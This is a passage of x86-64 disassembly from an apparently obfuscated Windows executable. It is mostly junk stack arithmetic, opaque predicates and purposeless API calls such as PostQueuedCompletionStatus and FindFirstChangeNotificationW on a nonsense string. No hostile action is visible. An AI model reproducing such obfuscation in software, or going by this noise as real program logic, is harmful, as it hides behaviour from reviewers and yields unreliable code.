mov qword [rsp + 0x2950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2950]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
or eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x2918]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
and eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov eax, dword [rsp + 0x1424]
add eax, 0x93
mov dword [rsp + 0x1424], eax
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x24e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2808]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov eax, dword [rsp + 0x142c]
mov ecx, dword [rsp + 0x143c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c8], ax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
and eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sar eax, cl
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x27a8], rax
jmp 0x1400051f8
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2918]
mov qword [rsp + 0x2958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2958]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x28b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x24e0], rax
mov rax, qword [rsp + 0x2878]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov dword [rsp + 0x14d8], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [0x1400b9008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f0], rax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5cc], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x5c4]
sar eax, cl
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2838]
mov rcx, qword [rsp + 0x2878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x1488]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1460], eax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x24e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1460]
shr eax, cl
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28b0]
mov qword [rsp + 0x2960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2960]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x143c], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2918]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x28b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28f0], rax
mov eax, dword [rsp + 0x14e8]
add eax, 6
mov dword [rsp + 0x14e8], eax
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [0x1400b9008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2838]
mov rcx, qword [rsp + 0x2878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x2838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5bc], ax
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5c0]
shl eax, cl
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
sar eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28b0]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
cmp dword [rsp + 0x14e8], 0x24ed
jb 0x1400054ae
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1488]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov qword [rsp + 0x2968], rax
movabs rax, 0x8c561564dfef1f0a
cmp qword [rsp + 0x2968], rax
je 0x140005ace
movabs rax, 0x76b54815320563fd
cmp qword [rsp + 0x2968], rax
je 0x140005b1f
jmp 0x140005c34
lea rax, [rsp + 0x28f0]
mov qword [rsp + 0x2970], rax
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x2978], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
lea rax, [rsp + 0x5cc]
mov qword [rsp + 0x2980], rax
jmp 0x140005c34
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov dword [rsp + 0x1514], eax
cmp dword [rsp + 0x1514], 0x3b4
je 0x140005c16
cmp dword [rsp + 0x1514], 0xe3a
je 0x140005b73
jmp 0x140005c34
lea r9, [rsp + 0x2930]
mov r8d, 0xbb
mov edx, 0xb7
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov dword [rsp + 0x14b0], eax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x14d8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov r8d, 2
mov edx, 1
lea rcx, str.prudently_sobsSquabbling
call qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov qword [rsp + 0x2850], rax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
jmp 0x140005c34
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x28b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x28f0], rax
movzx eax, word [rsp + 0x5c8]
movzx ecx, word [rsp + 0x5d0]
add eax, ecx
mov rcx, qword [rsp + 0x27c8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5c0]
xor ecx, edx
cmp eax, ecx
jge 0x140005da8
lea rax, [rsp + 0x2808]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x1518]
mov r8d, 0xcb
lea rdx, [rsp + 0x27d8]
mov rcx, qword [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov dword [rsp + 0x14b8], eax
mov rax, qword [rsp + 0x27a8]
movzx ecx, al
mov rax, qword [rsp + 0x25f0]
shr rax, cl
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x2808]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140005d70
mov eax, dword [rsp + 0x142c]
movzx ecx, al
mov eax, dword [rsp + 0x143c]
shl eax, cl
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2970]
mov rax, qword [rax]
mov qword [rsp + 0x2990], rax
movabs rax, 0x4fb3f87edaa83ff4
cmp qword [rsp + 0x2990], rax
je 0x140005d5b
movabs rax, 0x75eaed3aa9500395
cmp qword [rsp + 0x2990], rax
je 0x140005d2d
jmp 0x140005d70
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.14009fbf0
nop
jmp 0x140005d70
mov rcx, qword [rsp + 0x2868]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x14f8], eax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [0x1400b9010]
add eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa8], al
movsx eax, word [rsp + 0x5cc]
mov dword [rsp + 0x151c], eax
cmp dword [rsp + 0x151c], 0
je 0x140005dd7
cmp dword [rsp + 0x151c], 0x6d96
je 0x14009f600
jmp 0x14009f773
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov rdx, qword [rsp + 0x27a8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x140005ee9
lea r9, [rsp + 0x2900]
mov r8d, 0x45
lea rdx, [rsp + 0xab]
mov rcx, qword [rsp + 0x2868]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov dword [rsp + 0x1478], eax
movsx eax, word [rsp + 0x5bc]
mov dword [rsp + 0x1520], eax
cmp dword [rsp + 0x1520], 0xab2
je 0x140005e65
cmp dword [rsp + 0x1520], 0x1c6c
je 0x140005ea3
jmp 0x140005ee4
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5b8], ax
jmp 0x140005ee4
mov edx, dword [rsp + 0x1524]
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x1528], eax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14e0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
call fcn.14009fa10
nop
jmp 0x140005fae
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x2900]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140005fae
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27e0]
mov qword [rsp + 0x2998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2998]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2970]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x43
lea r9, [rsp + 0x29a0]
mov r8d, 0x22
mov edx, 0x22
mov rcx, qword [rsp + 0x2988]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x1478], eax
cmp dword [rsp + 0x1458], 0xea3a
jae 0x1400063a7
mov eax, dword [rsp + 0x14f8]
movzx ecx, al
mov eax, dword [rsp + 0x1488]
shl eax, cl
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x24e0]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2930]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [0x1400b9008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x25f0], rax
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1510]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x28b0]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x14e0], eax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
mov word [rsp + 0x5cc], ax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1400b9e10], al
mov eax, dword [rsp + 0x1458]
add eax, 0xa9
mov dword [rsp + 0x1458], eax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
xor eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
shl eax, cl
mov word [rsp + 0x5d0], ax
mov eax, dword [rsp + 0x152c]
mov ecx, dword [rsp + 0x14f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x24e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2928]
mov rcx, qword [rsp + 0x2878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x27c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x404]
sub eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5cc], ax
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5bc]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x28b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1460]
shr eax, cl
mov rcx, qword [rsp + 0x2918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x27e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x25f0]
shl rax, cl
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x404], ax
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400b9e10], al
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
jmp 0x140005fae
mov eax, dword [rsp + 0x14f8]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x143c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x24e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x2808]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x25f0], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0xa8], al
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5b8], ax
movzx eax, word [rsp + 0x5c0]
movzx ecx, word [rsp + 0x5c8]
shl eax, cl
mov word [rsp + 0x5d0], ax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x28b8], rax
mov eax, dword [rsp + 0x14c4]
add eax, 0x86
mov dword [rsp + 0x14c4], eax
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x143c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xab], al
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
and eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
cmp dword [rsp + 0x14c4], 0x7e11
jb 0x1400063a7
cmp dword [rsp + 0x14cc], 0x34e3
ja 0x140006a1e
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x142c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28d0]
mov rcx, qword [rsp + 0x28e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x14f8], eax
mov rax, qword [rsp + 0x2840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2930]
mov qword [rsp + 0x29a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x29a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2800], rax
mov eax, dword [rsp + 0x14cc]
add eax, 0x3a
mov dword [rsp + 0x14cc], eax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
shl eax, cl
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c0]
or eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0xa8], al
